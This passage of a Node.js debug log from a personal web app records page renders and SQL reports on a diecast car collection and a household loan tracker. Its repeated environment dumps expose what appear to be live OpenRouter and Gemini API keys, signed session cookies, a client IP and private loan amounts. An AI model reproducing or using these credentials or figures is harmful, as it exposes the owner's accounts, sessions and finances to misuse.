    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-13T06:46:45.373Z server-connect:router Serving templateView /diecast-reports
2026-03-13T06:46:45.374Z server-connect:app Executing action step identify
2026-03-13T06:46:45.374Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:45.374Z server-connect:output identity: 1
2026-03-13T06:46:45.374Z server-connect:app Executing action step restrict
2026-03-13T06:46:45.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:45.374Z server-connect:output restrict: undefined
2026-03-13T06:46:45.374Z server-connect:router Render template diecast-reports
2026-03-13T06:46:45.374Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:46:45.667Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-03-13T06:46:45.667Z server-connect:app Executing action step identify
2026-03-13T06:46:45.667Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:45.667Z server-connect:output identity: 1
2026-03-13T06:46:45.667Z server-connect:app Executing action step restrict
2026-03-13T06:46:45.667Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:45.667Z server-connect:output restrict: undefined
2026-03-13T06:46:45.667Z server-connect:app Executing action step custom
2026-03-13T06:46:45.667Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-03-13T06:46:45.670Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-03-13T06:46:52.445Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-03-13T06:46:52.446Z server-connect:app Executing action step identify
2026-03-13T06:46:52.446Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:52.446Z server-connect:output identity: 1
2026-03-13T06:46:52.446Z server-connect:app Executing action step restrict
2026-03-13T06:46:52.446Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:52.446Z server-connect:output restrict: undefined
2026-03-13T06:46:52.446Z server-connect:app Executing action step custom
2026-03-13T06:46:52.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-03-13T06:46:52.448Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-03-13T06:46:58.571Z server-connect:router Serving serverConnect /api/reports/diecast/by-vehicle-brand
2026-03-13T06:46:58.571Z server-connect:app Executing action step identify
2026-03-13T06:46:58.571Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:58.571Z server-connect:output identity: 1
2026-03-13T06:46:58.571Z server-connect:app Executing action step restrict
2026-03-13T06:46:58.572Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:58.572Z server-connect:output restrict: undefined
2026-03-13T06:46:58.572Z server-connect:app Executing action step custom
2026-03-13T06:46:58.572Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.vehicle_brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.vehicle_brand_id\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.vehicle_brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-03-13T06:46:58.573Z server-connect:output list: [
  { vehicle_brand_id: 142, name: 'Fantasy', total: 22 },
  { vehicle_brand_id: 108, name: 'Ford', total: 15 },
  { vehicle_brand_id: 130, name: 'Porsche', total: 9 },
  { vehicle_brand_id: 113, name: 'Mercedes', total: 8 },
  { vehicle_brand_id: 115, name: 'Lamborghini', total: 7 },
  { vehicle_brand_id: 116, name: 'Nissan', total: 6 },
  { vehicle_brand_id: 127, name: 'Dodge', total: 6 },
  { vehicle_brand_id: 118, name: 'Chevrolet', total: 6 },
  { vehicle_brand_id: 117, name: 'Land Rover', total: 4 },
  { vehicle_brand_id: 128, name: 'Alfa Romeo', total: 3 },
  { vehicle_brand_id: 112, name: 'Honda', total: 2 },
  { vehicle_brand_id: 122, name: 'Jeep', total: 2 },
  { vehicle_brand_id: 157, name: 'Masserti', total: 2 },
  { vehicle_brand_id: 133, name: 'Jaguar', total: 2 },
  { vehicle_brand_id: 109, name: 'Renault', total: 2 },
  { vehicle_brand_id: 140, name: 'GMC', total: 2 },
  { vehicle_brand_id: 137, name: 'Mazda', total: 2 },
  { vehicle_brand_id: 124, name: 'Ferrari', total: 2 },
  { vehicle_brand_id: 185, name: 'Lotus', total: 1 },
  { vehicle_brand_id: 186, name: 'Datsun', total: 1 },
  { vehicle_brand_id: 190, name: 'Plymouth', total: 1 },
  { vehicle_brand_id: 184, name: 'Lucid', total: 1 },
  { vehicle_brand_id: 183, name: 'Spider Man', total: 1 },
  { vehicle_brand_id: 189, name: 'RAM', total: 1 },
  { vehicle_brand_id: 129, name: 'Bugatti', total: 1 },
  { vehicle_brand_id: 132, name: 'Audi', total: 1 },
  { vehicle_brand_id: 119, name: 'Toyota', total: 1 },
  { vehicle_brand_id: 152, name: 'Corvette ', total: 1 },
  { vehicle_brand_id: 121, name: 'Peugeot', total: 1 },
  { vehicle_brand_id: 169, name: 'Cadillac', total: 1 },
  { vehicle_brand_id: 168, name: 'Pagani', total: 1 },
  { vehicle_brand_id: 167, name: 'Mcmurtry', total: 1 },
  { vehicle_brand_id: 126, name: 'BMW', total: 1 },
  { vehicle_brand_id: 125, name: 'Bentley', total: 1 },
  { vehicle_brand_id: 123, name: 'Volvo', total: 1 },
  { vehicle_brand_id: 139, name: 'Formula', total: 1 },
  { vehicle_brand_id: 138, name: 'Gordon Murray', total: 1 },
  { vehicle_brand_id: 134, name: 'Pontiac', total: 1 },
  { vehicle_brand_id: 136, name: 'Austin', total: 1 },
  { vehicle_brand_id: 135, name: 'Czinger', total: 1 }
]
2026-03-13T06:47:12.701Z server-connect:router Serving templateView /emis
2026-03-13T06:47:12.701Z server-connect:app Executing action step identify
2026-03-13T06:47:12.701Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:12.701Z server-connect:output identity: 1
2026-03-13T06:47:12.701Z server-connect:app Executing action step restrict
2026-03-13T06:47:12.701Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:47:12.702Z server-connect:output restrict: undefined
2026-03-13T06:47:12.702Z server-connect:router Render template emis
2026-03-13T06:47:12.702Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"46b6-xfseExw2Tn/2LzcL4va+8kQ7aww"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"46b6-xfseExw2Tn/2LzcL4va+8kQ7aww"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:47:12.943Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-13T06:47:12.943Z server-connect:app Executing action step identify
2026-03-13T06:47:12.943Z server-connect:app options: { provider: 'security' }
2026-03-13T06:47:12.943Z server-connect:output identity: 1
2026-03-13T06:47:12.944Z server-connect:app Executing action step restrict
2026-03-13T06:47:12.944Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:47:12.944Z server-connect:output restrict: undefined
2026-03-13T06:47:12.944Z server-connect:app Executing action step custom
2026-03-13T06:47:12.944Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-13T06:47:12.947Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
